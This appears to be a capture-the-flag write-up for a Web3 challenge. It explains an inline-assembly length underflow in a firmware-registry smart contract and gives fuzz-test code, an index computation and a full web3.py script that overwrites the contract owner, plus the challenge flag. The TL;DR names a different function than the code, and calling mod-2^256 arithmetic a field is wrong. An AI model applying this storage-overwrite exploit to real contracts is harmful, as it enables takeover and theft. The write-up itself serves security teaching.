ESPILON-CTF-2026-Writeups/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md
Eun0us 1c42421380 Add 107 terminal screenshots and replace all 📸 placeholders
- Generated screenshots for all 33 challenges (ESP, Hardware, IoT, OT, Misc, Web3)
- Replaced all 123 placeholder lines with actual PNG image references
- Cleaned duplicate images from previously partial updates
- All write-ups now have full illustrated solutions
2026-03-27 00:34:47 +00:00

192 lines
6.0 KiB
Markdown

# TACHIBANA_FIRMWARE_REGISTRY
| Field | Value |
|-------|-------|
| Category | Web3 |
| Difficulty | Insane |
| Points | 500 |
| Author | Eun0us |
| CTF | Espilon 2026 |
---
## Description
Tachibana Laboratories deployed a smart contract to manage firmware updates for their
medical IoT devices connected to the Wired.
The contract enforces a strict lifecycle: register, update, rollback. Every operation is
immutable. Every state transition is audited.
Or so they thought.
**Your mission:** Fuzz the contract. Find the edge case. Trigger the emergency override
as a non-admin to prove the system is broken.
- `nc espilon.net 1337` — Challenge console
- `http://espilon.net:8545` — Anvil RPC endpoint
The source is provided. Deploy locally. Fuzz with Foundry or Echidna. Replay your exploit
on the live instance.
*"And you don't seem to understand... a shame, you seemed an honest man."*
---
## TL;DR
The `_trimStaleEntries()` function uses raw inline assembly to decrement `firmwareHashes.length`.
When the array is empty (length=0), `sub(0, 1)` wraps to `2^256-1` in unchecked assembly even
in Solidity ≥0.8. This gives `modifyFirmware()` write access to all `2^256` storage slots.
Compute the slot index that maps to storage slot 0 (the `owner` variable). Overwrite it with
your address. Call `triggerEmergency()` as the new owner to get the flag.
---
## Tools
| Tool | Purpose |
|------|---------|
| Foundry (`forge fuzz`) or Echidna | Find invariant violation |
| Python 3 + `web3.py` | Storage index computation and exploit |
| `forge create` / `cast send` | On-chain exploit replay |
---
## Solution
### Step 1 — Understand the vulnerability
From the provided source, the relevant code is:
```solidity
function auditFirmware() external {
assembly {
let slot := firmwareHashes.slot
let len := sload(slot)
sstore(slot, sub(len, 1)) // unchecked sub! 0 - 1 = 2^256 - 1
}
}
```
When `firmwareHashes.length == 0`, calling `auditFirmware()` sets the length to `2^256-1`.
This makes `modifyFirmware(index, value)` able to write to any storage slot via the dynamic
array element storage formula.
![assembly code showing the unchecked sub(len, 1) line](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/fw_reg_asm.png)
### Step 2 — Fuzz to discover the invariant violation
Using Foundry fuzz tests:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {TachibanaFirmwareRegistry} from "../src/TachibanaFirmwareRegistry.sol";
contract FirmwareRegistryFuzz is Test {
TachibanaFirmwareRegistry registry;
address deployer = address(0xDEAD);
address player = address(0xBEEF);
function setUp() public {
vm.prank(deployer);
registry = new TachibanaFirmwareRegistry();
vm.prank(player);
registry.registerOperator();
}
// Invariant: only the deployer should ever be owner
function invariant_ownerIsDeployer() public view {
assertEq(registry.owner(), deployer);
}
}
```
Running `forge test --fuzz-runs 1000` triggers the invariant failure on the
`auditFirmware()` + `modifyFirmware(target_index, player_bytes32)` sequence.
![forge fuzz output showing invariant_ownerIsDeployer failure](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/fw_reg_fuzz.png)
### Step 3 — Compute the target storage index
Solidity dynamic arrays store element `i` at `keccak256(abi.encode(slot)) + i`.
`firmwareHashes` is at storage slot 2.
To write to slot 0 (the `owner` variable):
```python
from web3 import Web3
# Storage base for firmwareHashes (slot 2)
array_base = int.from_bytes(
Web3.keccak(b'\x00' * 31 + b'\x02'), "big")
# Compute wraparound index so that: array_base + target_index ≡ 0 (mod 2^256)
target_index = (2**256 - array_base) % 2**256
print(f"Target index: {target_index}")
```
### Step 4 — Execute the exploit on-chain
```python
from web3 import Web3
w3 = Web3(Web3.HTTPProvider("http://<HOST>:8545"))
priv = "<PLAYER_PRIVATE_KEY>"
acct = w3.eth.account.from_key(priv)
contract_addr = "<CONTRACT_ADDRESS>"
# Load ABI from console 'abi' command
# 1. Register as operator
registry = w3.eth.contract(address=contract_addr, abi=abi)
tx = registry.functions.registerOperator().build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
# 2. Trigger the underflow (array must be empty)
tx = registry.functions.auditFirmware().build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
# 3. Overwrite owner (slot 0) with player address
player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(acct.address[2:])
tx = registry.functions.modifyFirmware(
target_index, player_as_bytes32).build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
# 4. Trigger emergency as new owner
tx = registry.functions.triggerEmergency().build_transaction({...})
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
```
![Python exploit script completing all four transactions](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/fw_reg_exploit.png)
### Step 5 — Get the flag
```text
nc <host> 1337
check
```
![console printing the flag after triggerEmergency succeeds](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/fw_reg_flag.png)
### Key concepts
- **EVM assembly unchecked arithmetic**: `sub(0, 1)` wraps to `2^256-1` inside `assembly {}`
blocks even in Solidity ≥0.8, bypassing the checked arithmetic safety net
- **Dynamic array storage layout**: Elements stored at `keccak256(abi.encode(slot)) + index`;
with a `2^256-1` length, modular wraparound enables arbitrary storage writes
- **Fuzzing invariants**: Declaring `invariant_ownerIsDeployer` in Foundry would have caught
this immediately — the lesson for secure contract development
- **Storage slot arithmetic**: Wraparound index computation requires modular arithmetic over
the field `GF(2^256)`
---
## Flag
`ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`